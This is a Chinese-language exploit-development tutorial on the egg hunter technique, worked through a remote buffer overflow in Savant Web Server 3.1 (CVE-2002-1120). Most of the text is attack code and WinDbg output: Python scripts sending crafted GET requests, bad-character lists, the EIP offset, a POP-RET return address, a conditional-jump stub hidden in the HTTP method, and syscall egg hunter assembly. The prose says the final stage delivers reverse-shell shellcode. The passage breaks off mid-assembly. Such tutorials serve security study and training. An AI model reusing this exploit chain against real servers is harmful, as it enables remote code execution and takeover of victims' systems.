这是一种技术,并非漏洞本身。可以用于大部分的二进制漏洞当中的技术,举个例子,写入shellcode的偏移量可能会因为系统原因而产生一些不同,但是漏洞确实存在,这个时候传统的通过偏移跳转shellcode的方式就不再稳定,或者,如之前我在SEH溢出当中提到的部分,也许数据发送成功了,但是数据位置,距离当前位置很远,传统模式我们就需要先手动去查找计算这个部分。EggHunter这个技术就是解决上述这类问题的。假设有一个程序的代码如下:
这个溢出发生在LogError ,但是由于 B区域缓冲区大小只有64,但是strcpy不管不顾的把 A*10000都写入这个部分,能不能写入不重要,重要的是,这个部分一定会崩溃。此时,首先要确认,这个部分崩溃以后,到底溢出了多少。假设这里溢出过后,发现B区域后续有1000字节的空间,那么就不用egg hunter技术了,直接写shellcode即可。但是更多的情况是,这10000个A只有很少一部分在溢出过后在区域B当中,比如只有100个A写进来了,后续的空间会因为权限或是其他原因根本没办法动,如何在这100个A的空间内想办法精准的跳到Full_Requests_Store当中的shellcode部分,就是egg hunter解决的问题。
内存图大概是这样
简单总结下原理,就是在shellcode之前放一串特定字符串,然后在内存当中搜索这个字符串,找到这个字符串以后,跳转到这里,就能够实现精准跳转shellcode了。Egg Hunter 的精髓在于:它利用系统调用 (Syscall) 或 异常处理机制 (SEH) 来判断一个内存地址是否可读。这个在接下来这个漏洞分析当中会详细说明。
详细原理可以参考这个论文:egghunt-shellcode.pdf
由于 Egghunter 通常用于可用空间受限的场景,所以它的代码设计得尽可能小巧精炼。
此外,扫描速度非常关键 —— Egghunter 越快找到目标标签,应用程序就越不容易出现长时间挂起或崩溃的现象。
因为手动读未映射的内存会直接崩溃程序,而系统调用访问时:
漏洞链接:CVE-2002-1120:Savant Web Server 3.1 及更早版本中的缓冲区溢出允许远程攻击者
Savant Web Server 3.1 及更早版本中的缓冲区溢出允许远程攻击者通过较长的 HTTP GET 请求执行任意代码。这个漏洞的溢出,不是单纯的溢出,Savant Web Server 3.1 的这个漏洞只有在进行 URL 解码(%xx 解码)时才会触发栈溢出。当 HTTP 请求的路径中出现 % 字符时,服务器会尝试对后面的两个十六进制数字进行解码,并把解码后的字节写入一个固定大小的栈缓冲区,这个过程没有边界检查,才导致了溢出。非常符合我们对于当前技术的研究背景。
OK,来写一个初始的Poc
程序加载windbg,可以很清楚的看到此时eip被A覆盖,但是查看栈顶(esp)会发现,溢出的位置并不像是常规的溢出 继续分析这个情况,查看esp,首先eip目前被A覆盖,然后发现esp + 4的位置实际上就是指向 Payload的指针(地址),可以清楚的看到这个地址当中存放了完整的发送的数据。 这个输出就是在概念部分举的例子,回顾伪代码
接下来,我们需要找到eip的位置
加载到windbg当中会发现,坏字符引发崩溃
二分法解决这个问题
加载windbg,可以看到在B的部分 然后循环往复找到这个位置,在253这里
加载windbg验证
这里我想到的处理逻辑比较简单,既然esp + 4存放的地址指向的是我整个发送的payload那么我先测试坏字符,测试完坏字符以后,再利用有序字符串查找位置。
然后修改exp
逐行测试坏字符,建议先注释一半,然后循环查找。程序应该会在第一行就“滑过去”,因为是Web服务,所以\x0a大多数情况下都会是坏字符,再排除一个\x0d这两个都是换行,\x0d是回车,基本上大部分的web服务对这两个字符都会敏感的。稍微提一下,在一些特定环境当中\x0a甚至可以当作sql注入的注释符平替。然后还有之前就遇到过的\x25百分号,这个符号在web服务当中也极其危险,所以手动先把这些排除掉。
修改坏字符测试
然后加载windbg,可以观察到,所有字符显示正常,说明除了手动排除的那几个字符,其他字符都安全 再次验证eip位置,生成一个字符串。
基于对漏洞原理的理解,所以我们需要在生成的字符串前面加一个\x25来让漏洞触发
加载到windbg,然后查询35694134
查看位置,254 减去 手动添加的一个 \x25还是253 重复验证了eip的位置
加载narly可以看到,这个程序几乎没有自带的dll,所以一切就只能从这个程序本身想办法解决。 程序本身的地址范围当中包含\x00 ,常规情况下,应该寻找安全地址的dll来利用,但是分析这个程序的崩溃,可以发现一个很巧妙的事情,eip之后的部分,默认就是\x00。可以通过只写入3个字节的地址,然后让程序本身自动补齐\x00的方式解决这个问题。
加载到windbg查看,eip和预期一样变成了00424242,那也就是说可以构造eip让他指向程序本身当中的某个可用的地址。 到此为止,剩下要解决的就是如何跳转到esp + 4的位置,这个位置存放着一个地址,这个地址里面放着发送过去的完整payload,那么首先最好的选择肯定是jmp这样的跳转指令需要一个jmp [esp + 4]。可惜这样的指令本身就特别罕见,尤其是目前的程序并不大,只是一个小程序就更不太可能有这样的指令了。所以,还是需要PR系列的指令,选择一个其余三位不包含坏字符的地址比如0x00418674这个就可以。
修改代码
加载windbg验证,eip成功指向esp + 4的位置,成功跳转 分析windbg的输出,\x47对应字符G也就是请求方法的部分(GET),尝试修改这个部分,可以观察到这中间有24字节的可写部分。必须要保持这个结构,GET / 或者 xxxx /简而言之就是,/这个字符必须存在。
修改代码
加载windbg,可以看到,这个部分,是可以写一部分指令进去的。
接下来需要让执行流顺利的走到inputBuffer处,修改一下代码
查看windbg,重点在于,完全没有在预期当中看到写入的跳转指令,跳转指令被替换成了\x3f 也就是aas指令。在较老的系统版本当中EB会被换成retf,这是字符编码的问题,是一个关于坏字符的问题。
Savant这个程序的内部处理逻辑是分裂的:
结论 :\xeb 在“URL路径”里是好人,但在“HTTP Method”里就是坏人。这就是所谓的上下文相关坏字符 。
这就是为什么不同版本的 Windows 表现不同是默认的语言包/代码页设置不同,最终会导致这里的jmp被转换成不同的东西。
既然知道了无法跳转的原因,处理这个问题也很简单,用条件跳转即可,jz/je之类的跳转。空间上有24字节左右的大小,足够写一个条件跳转。
把上述这个条件跳转放进HTTP请求方法的部分当中去
加载windbg,一切符合预期,成功跳转到预想的部分。
开始之前,首先需要知道shellcode在什么位置,因为很显然,剩下的这些空间肯定不够写入shellcode,即使算上请求方法,这个空间也太小了,368字节,并且还有一些限制(比如请求方法必须有一个/字符)。
所以,首先要做的是尝试发送一个shellcode,然后在内存当中找到这个部分。
加载windbg,搜索设定好的特定字符,可以明确观察到,shellcode确实是写入了内存里面的 使用!address指令查看这个地址属性,发现这个地址在堆上,这个大小,写shellcode也绝对够用了 在 Windows 操作系统中,当进程启动时,堆管理器会自动创建一个新的堆,称为默认进程堆。从高层次上讲,堆是大块内存,被分割成更小的块以满足动态内存分配请求。由于我们的二级缓冲区( secondary buffer)存储在动态内存中,因此无法预先确定其位置。这排除了通过向当前指令指针添加静态偏移量来到达辅助缓冲区的可能性。我们需要探索其他方法来查找缓冲区的位置。
简单来说就是这个地址不固定无法固定使用,每次执行都不太一样,所以不能通过偏移量,或是地址,直接jmp或是PR这种手段,简单跳转过去。
终于到这个部分了,这是全篇文章的重点,简单来说,就是在内存当中写一个特征查找的功能,之后让其去自动遍历内存页,查找预设好的特定字符,然后跳转。
Syscall Hunter依赖Windows当中自带的API:NtAccessCheckAndAuditAlarm,这个API的功能是 Windows 内核中用于安全审计的函数。它的本职工作是检查某个用户是否有权限访问某个对象,并生成审计日志(Alarm)。它的工作过程:
简单来说就是在读取的时候如果报没权限,就返回,如果有权限, 就查找蛋壳 直到找到,就跳转到蛋壳 的位置。下面是一个经典的Egg hunter代码,这种Hunter就是 Syscall Hunter,注意这种查找方式有一个致命的缺陷,微软为了系统安全和架构调整,会经常修改系统调用号。这个代码当中的调用号是写死的,这是Windows XP时代的调用号,当前运行系统是Win 10所以下面的代码一定会走到一个莫名其妙的地方,然后崩溃的。
执行这个代码,然后把结果加入exp代码当中,需要多次调整位置,在之前的跳转当中是直接跳转了0x1E,所以在这里需要多加一些nop
然后加载windbg查看,由于这段日志非常长,我直接复制到下面,然后再分段截图解释。
首先在PR指令处打断点,断点顺利命中,符合预期 接着单步执行,走到条件跳转,这里的跳转地址和地址内容,都符合代码预期 接着就是重点部分,Syscall Hunter的代码部分,不需要关注前面的nop和后面的填充,直接在int 2Eh这个指令处打断点,这里是在系统调用。 断点命中后,会循环往复的命中,这里看起来也属于是正常行为,因为逻辑上这段代码应该正在遍历查找。 为了方便,在调试的时候,直接在shellcode部分打断点,因为按照预设逻辑,应该是会找到shellcode,然后跳转,那么断点一定会触发 但是,这个时候就会发现,这个断点完全不会命中,这就是Syscall Hunter的坏处,XP的系统调用号在Win 10上并不适用,所以需要手动查一下当前系统的调用号。 当前我的系统调用号0x1C6 修改Hunter代码
但是执行过后,会看到一个非常明显的问题,存在坏字符\x00
那么还需要处理这个\x00,面对这种\x00的问题其实有一个算是统一的解决方案就是,用减法 neg指令
然后最终修改Hunter代码
这样执行过后就不会存在坏字符的问题了
之后再次更新exp并且执行,观察windbg的输出,这里有两个非常简单的验证方式,可以在shellcode的部分打断点,或是在jmp之前打断点。可以观察到,顺利跳转到预想的shellcode处,由于上个部分已经分析过了这个内存,这里就不再赘述了,这里是成功跳转的样子,很好分辨,不做二次解释。 接下来的部分就很简单了,把shellcode替换一下。反弹shell。顺便一提,这个漏洞当中的shellcode部分,对坏字符不敏感,也就是说,生成shellcode时,不用考虑坏字符。
Syscall Hunter 完整exp
在上述的Syscall Hunter当中,已经看出非常直观的问题,那就是exp的通用性。假设这样一个场景,对方存在这个漏洞,但是,不确定是Windows哪个版本,那就只能一个一个去尝试调用号,这样效率低,并且很容易被察觉。黑盒角度来说,这个exp就非常不稳定,需要一个更加通用的方案。
首先,知道问题出在NtAccessCheckAndAuditAlarm这个API的调用号上,直接抛弃调用API来解决这个问题的想法。利用Windows的SEH机制来处理这个问题。这个想法分为以下几步
整体 Handler 代码非常短,它的作用只有一个:修改寄存器上下文(Context)。
它告诉操作系统:不好意思,刚才那个地址确实读不了。请把指令指针(EIP)往后挪一挪,跳过这一页,然后让主程序恢复执行。
不得不说,我在第一次看到这个思路的时候,惊艳我一脸,这个想法太天才了。不需要知道系统调用号。SEH 机制从 Win95 到 Win11 是一样的。了解这个部分原理,开始SEH Egg Hunter代码
然后修改exp
获取shell
char *Full_Requests_Store;
void LogError(char *input_string){
char small_buffer[64];
strcpy(small_buffer, input_string);
}
char *recv_from_network(){}
int main(){
Full_Requests_Store = recv_from_network();
LogError(Full_Requests_Store);
}
char *Full_Requests_Store;
void LogError(char *input_string){
char small_buffer[64];
strcpy(small_buffer, input_string);
}
char *recv_from_network(){}
int main(){
Full_Requests_Store = recv_from_network();
LogError(Full_Requests_Store);
}
内存地址 (低 -> Low Address)
|
| [ 区域 A: 堆 (Heap) 或 全局数据段 ]
| [ 这里存储了攻击者发来的所有数据(包含shellcode的大部分数据) ]
| ----------------------------------------------------
| | 垃圾数据 ... |
| |--------------------------------------------------|
| | [ 蛋 (The Egg) ] |
| | Tag: w00tw00t (8字节标记) | <---- 特征(egg)在这里!
| | Shellcode: [ 反弹Shell的大段代码 (300+字节) ] | (它很安全,但无法直接执行)
| |--------------------------------------------------|
| | 垃圾数据 ... |
| ----------------------------------------------------
|
| ( ... 中间隔着茫茫多的未知内存页 ... )
| ( ... 可能有几兆字节那么远 ... )
|
| [ 区域 B: 栈 (Stack) - 溢出发生现场 ]
| ----------------------------------------------------
| | ... |
| |--------------------------------------------------|
| | [ 局部变量 Buffer (溢出点) ] |
| | 填充物 (Padding) |
| |--------------------------------------------------|
| | [ EIP / SEH ] | <---- 这里被我们控制了
| | 跳转指令 (JMP) | <---- 如果这部分后续的空间很大就是常规溢出
| |--------------------------------------------------|
| | [ 猎人 (Egg Hunter) ] | <---- 假设空间很小,只有 32 字节的小代码
| | 1. 遍历内存页 (利用 Syscall/SEH 判断是否可读) | <---- 这是溢出过后唯一能影响的一小部分空间
| | 2. 比较: "是 w00tw00t 吗?" |
| | 3. 不是 -> 继续找 |
| | 4. 是 -> JMP 到那个位置 |
| |--------------------------------------------------|
|
内存地址 (高 -> High Address)
内存地址 (低 -> Low Address)
|
| [ 区域 A: 堆 (Heap) 或 全局数据段 ]
| [ 这里存储了攻击者发来的所有数据(包含shellcode的大部分数据) ]
| ----------------------------------------------------
| | 垃圾数据 ... |
| |--------------------------------------------------|
| | [ 蛋 (The Egg) ] |
| | Tag: w00tw00t (8字节标记) | <---- 特征(egg)在这里!
| | Shellcode: [ 反弹Shell的大段代码 (300+字节) ] | (它很安全,但无法直接执行)
| |--------------------------------------------------|
| | 垃圾数据 ... |
| ----------------------------------------------------
|
| ( ... 中间隔着茫茫多的未知内存页 ... )
| ( ... 可能有几兆字节那么远 ... )
|
| [ 区域 B: 栈 (Stack) - 溢出发生现场 ]
| ----------------------------------------------------
| | ... |
| |--------------------------------------------------|
| | [ 局部变量 Buffer (溢出点) ] |
| | 填充物 (Padding) |
| |--------------------------------------------------|
| | [ EIP / SEH ] | <---- 这里被我们控制了
| | 跳转指令 (JMP) | <---- 如果这部分后续的空间很大就是常规溢出
| |--------------------------------------------------|
| | [ 猎人 (Egg Hunter) ] | <---- 假设空间很小,只有 32 字节的小代码
| | 1. 遍历内存页 (利用 Syscall/SEH 判断是否可读) | <---- 这是溢出过后唯一能影响的一小部分空间
| | 2. 比较: "是 w00tw00t 吗?" |
| | 3. 不是 -> 继续找 |
| | 4. 是 -> JMP 到那个位置 |
| |--------------------------------------------------|
|
内存地址 (高 -> High Address)
import socket
import sys
from struct import pack
try:
server = sys.argv[1]
port = 80
size = 260
httpMethod = b"GET /"
inputBuffer = b"\x41" * size
httpEndRequest = b"\r\n\r\n"
buf = httpMethod + inputBuffer + httpEndRequest
print("Sending evil buffer...")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((server, port))
s.send(buf)
s.close()
print("Done!")
except socket.error:
print("Could not connect!")
import socket
import sys
from struct import pack
try:
server = sys.argv[1]
port = 80
size = 260
httpMethod = b"GET /"
inputBuffer = b"\x41" * size
httpEndRequest = b"\r\n\r\n"
buf = httpMethod + inputBuffer + httpEndRequest
print("Sending evil buffer...")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((server, port))
s.send(buf)
s.close()
print("Done!")
except socket.error:
print("Could not connect!")
char *Full_Requests_Store;
void LogError(char *input_string){
char small_buffer[64];
strcpy(small_buffer, input_string);
}
char *Full_Requests_Store;
void LogError(char *input_string){
char small_buffer[64];
strcpy(small_buffer, input_string);
}
inputBuffer = b"Aa0Aa1Aa2Aa3...."
inputBuffer = b"Aa0Aa1Aa2Aa3...."
0:010> g
(d10.8c4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00694135 ebx=01ad5768 ecx=004c0000 edx=004c0000 esi=01ad5768 edi=0041703c
eip=0040c05f esp=01bde6a8 ebp=01bdea14 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
Savant+0xc05f:
0040c05f 8b08 mov ecx,dword ptr [eax] ds:0023:00694135=????????
0:010> g
(d10.8c4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00694135 ebx=01ad5768 ecx=004c0000 edx=004c0000 esi=01ad5768 edi=0041703c
eip=0040c05f esp=01bde6a8 ebp=01bdea14 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
Savant+0xc05f:
0040c05f 8b08 mov ecx,dword ptr [eax] ds:0023:00694135=????????
inputBuffer = b"\x41" * 130
inputBuffer += b"\x42" * 130
inputBuffer = b"\x41" * 130
inputBuffer += b"\x42" * 130
httpMethod = b"GET /"
inputBuffer = b'A' * 253
inputBuffer += b'B' * 4
inputBuffer += b'C' * 3
httpEndRequest = b"\r\n\r\n"
httpMethod = b"GET /"
inputBuffer = b'A' * 253
inputBuffer += b'B' * 4
inputBuffer += b'C' * 3
httpEndRequest = b"\r\n\r\n"
badchars = (
b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c"
b"\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19"
b"\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26"
b"\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33"
b"\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d"
b"\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a"
b"\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67"
b"\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74"
b"\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81"
b"\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e"
b"\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b"
b"\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8"
b"\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5"
b"\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2"
b"\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf"
b"\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc"
b"\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9"
b"\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6"
b"\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)
httpMethod = b"GET /"
inputBuffer = badchars
inputBuffer += b'A' * (size - len(badchars))
badchars = (
b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c"
b"\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19"
b"\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26"
b"\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33"
b"\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d"
b"\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a"
b"\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67"
b"\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74"
b"\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81"
b"\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e"
b"\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b"
b"\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8"
b"\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5"
b"\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2"
b"\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf"
b"\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc"
b"\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9"
b"\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6"
b"\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)
httpMethod = b"GET /"
inputBuffer = badchars
inputBuffer += b'A' * (size - len(badchars))
\x00 \x0a \x0d \x25
badchars = (
b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c"
b"\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19"
b"\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x26"
b"\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33"
b"\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d"
b"\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a"
b"\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67"
b"\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74"
b"\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81"
b"\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e"
b"\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b"
b"\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8"
b"\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5"
b"\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2"
b"\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf"
b"\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc"
b"\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9"
b"\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6"
b"\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)
badchars = (
b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c"
b"\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19"
b"\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x26"
b"\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33"
b"\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d"
b"\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a"
b"\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67"
b"\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74"
b"\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81"
b"\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e"
b"\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b"
b"\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8"
b"\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5"
b"\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2"
b"\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf"
b"\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc"
b"\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9"
b"\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6"
b"\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)
msf-pattern_create -l 260
msf-pattern_create -l 260
inputBuffer = b'\x25Aa0Aa1A...'
inputBuffer = b'\x25Aa0Aa1A...'
0:010> g
(118c.2f0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=ffffffff ebx=019b5768 ecx=9fa636b9 edx=00000000 esi=019b5768 edi=0041703c
eip=35694134 esp=04e2ea1c ebp=69413369 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
35694134 ?? ???
0:010> g
(118c.2f0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=ffffffff ebx=019b5768 ecx=9fa636b9 edx=00000000 esi=019b5768 edi=0041703c
eip=35694134 esp=04e2ea1c ebp=69413369 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
35694134 ?? ???
msf-pattern_offset -q 35694134
msf-pattern_offset -q 35694134
httpMethod = b"GET /"
inputBuffer = b'A' * 253
inputBuffer += b'B' * 3
httpEndRequest = b"\r\n\r\n"
httpMethod = b"GET /"
inputBuffer = b'A' * 253
inputBuffer += b'B' * 3
httpEndRequest = b"\r\n\r\n"
s -[1]b 00400000 00452000 FF 64 24 04
s -[1]b 00400000 00452000 58 c3
0x00418674
0x0041924f
0x004194f6
0x00419613
......
s -[1]b 00400000 00452000 FF 64 24 04
s -[1]b 00400000 00452000 58 c3
0x00418674
0x0041924f
0x004194f6
0x00419613
......
httpMethod = b"GET /"
inputBuffer = b'A' * 253
inputBuffer += b'\x74\x86\x41'
httpEndRequest = b"\r\n\r\n"
httpMethod = b"GET /"
inputBuffer = b'A' * 253
inputBuffer += b'\x74\x86\x41'
httpEndRequest = b"\r\n\r\n"
04d7ea74 00544547 00000000 00000000 00000000 GET.............
04d7ea84 00000000 00000000 4141412f 41414141 ......../AAAAAAA
0:005> ? 04d7ea8c - 04d7ea74
Evaluate expression: 24 = 00000018
04d7ea74 00544547 00000000 00000000 00000000 GET.............
04d7ea84 00000000 00000000 4141412f 41414141 ......../AAAAAAA
0:005> ? 04d7ea8c - 04d7ea74
Evaluate expression: 24 = 00000018
httpMethod = b'B' * 24 + b" /"
inputBuffer = b'A' * 253
inputBuffer += b'\x74\x86\x41'
httpEndRequest = b"\r\n\r\n"
httpMethod = b'B' * 24 + b" /"
inputBuffer = b'A' * 253
inputBuffer += b'\x74\x86\x41'
httpEndRequest = b"\r\n\r\n"
httpMethod = b'\x90' * 4 + b'\xeb\x1c\x90\x90' + b" /"
inputBuffer = b'A' * 253
inputBuffer += b'\x74\x86\x41'
httpEndRequest = b"\r\n\r\n"
httpMethod = b'\x90' * 4 + b'\xeb\x1c\x90\x90' + b" /"
inputBuffer = b'A' * 253
inputBuffer += b'\x74\x86\x41'
httpEndRequest = b"\r\n\r\n"
0:010> bp 0x00418674
0:010> g
Breakpoint 0 hit
eax=00000000 ebx=01875768 ecx=0000000e edx=77211570 esi=01875768 edi=0041703c
eip=00418674 esp=04e2ea1c ebp=41414141 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
Savant+0x18674:
00418674 58 pop eax
0:005> dd esp L4
04e2ea1c 04e2fe60 04e2ea74 0041703c 01875768
0:005> dd 04e2ea74
04e2ea74 90909090 0090903f 00000000 00000000
04e2ea84 00000000 00000000 4141412f 41414141
0:010> bp 0x00418674
0:010> g
Breakpoint 0 hit
eax=00000000 ebx=01875768 ecx=0000000e edx=77211570 esi=01875768 edi=0041703c
eip=00418674 esp=04e2ea1c ebp=41414141 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
Savant+0x18674:
00418674 58 pop eax
0:005> dd esp L4
04e2ea1c 04e2fe60 04e2ea74 0041703c 01875768
0:005> dd 04e2ea74
04e2ea74 90909090 0090903f 00000000 00000000
04e2ea84 00000000 00000000 4141412f 41414141
nasm > xor ecx,ecx
00000000 31C9 xor ecx,ecx
nasm > test ecx,ecx
00000000 85C9 test ecx,ecx
nasm > jz short 0x1e
00000000 741C jz 0x1e
nasm > xor ecx,ecx
00000000 31C9 xor ecx,ecx
nasm > test ecx,ecx
00000000 85C9 test ecx,ecx
nasm > jz short 0x1e
00000000 741C jz 0x1e
httpMethod = b'\x31\xC9\x85\xC9\x74\x1C' + b" /"
httpMethod = b'\x31\xC9\x85\xC9\x74\x1C' + b" /"
0:005> dd 04e2ea74 L60
04e2ea74 c985c931 00001c74 00000000 00000000
04e2ea84 00000000 00000000 4141412f 41414141
.......
04e2eb84 41414141 86744141 00000041 00000000
0:005> ? 04e2ebe4 - 04e2ea74
Evaluate expression: 368 = 00000170
0:005> dd 04e2ea74 L60
04e2ea74 c985c931 00001c74 00000000 00000000
04e2ea84 00000000 00000000 4141412f 41414141
.......
04e2eb84 41414141 86744141 00000041 00000000
0:005> ? 04e2ebe4 - 04e2ea74
Evaluate expression: 368 = 00000170
shellcode = b'w00tw00t' + b'\x90' * 392
httpMethod = b'\x31\xC9\x85\xC9\x74\x1C' + b" /"
inputBuffer = b'A' * 253
inputBuffer += b'\x74\x86\x41'
httpEndRequest = b"\r\n\r\n"
buf = httpMethod + inputBuffer + httpEndRequest + shellcode
shellcode = b'w00tw00t' + b'\x90' * 392
httpMethod = b'\x31\xC9\x85\xC9\x74\x1C' + b" /"
inputBuffer = b'A' * 253
inputBuffer += b'\x74\x86\x41'
httpEndRequest = b"\r\n\r\n"
buf = httpMethod + inputBuffer + httpEndRequest + shellcode
from keystone import *
CODE = (
" xor edx, edx ;"
" loop_inc_page: "
" or dx, 0x0fff ;"
" loop_inc_one: "
" inc edx ;"
" loop_check: "
" push edx ;"
" push edx ;"
" push 0x2 ;"
" int 0x2e ;"
" cmp al, 0x05 ;"
" pop edx ;"
" loop_check_valid: "
" je loop_inc_page ;"
" is_egg: "
" mov eax, 0x74303077 ;"
" mov edi, edx ;"
" scasd ;"
" jnz loop_inc_one ;"
" scasd ;"
" jnz loop_inc_one ;"
